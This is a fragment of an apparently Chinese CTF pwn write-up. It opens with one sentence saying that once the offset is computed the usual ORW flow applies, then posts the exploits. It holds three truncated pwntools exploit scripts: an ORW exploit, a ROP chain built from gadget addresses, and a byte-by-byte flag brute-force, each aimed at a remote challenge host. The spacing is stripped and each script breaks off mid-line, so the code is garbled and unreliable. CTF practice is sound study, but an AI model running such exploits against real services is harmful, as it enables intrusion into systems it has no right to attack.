再偏移算好之后就简单了,把正常的ORW流程走一遍就行,exp我贴这了 frompwnimport*context(terminal=['tmux','splitw','-h'],os="linux",arch="amd64",# arch = "i386",log_level="debug",)# io = remote("101.32.220.189",31129)io=process("./aladdin")defdebug():gdb.attach(io,''' b *$re...
from pwn import *context(arch='amd64', os='linux', log_level='debug')#elf = process('../gift_rop')elf = remote('101.32.220.189',30432)from struct importpack# Padding goes herep = b''p +=pack('<Q',0x0000000000409f9e)# pop rsi ; retp +=pack('<Q',0x00000000004c50e0)# @ ....
frompwnimport*#context.log_level = 'debug'#io = process('./one_byte')io=remote('101.32.220.189',30300)#gdb.attach(io,'b *$rebase(0x1285)')flag=b""flag+=b"b"foriinrange(100):payload=b'a'*17+b'\x57'io.recvuntil(b'with the result?')io.send(payload)io.recvuntil(b'gift: ')...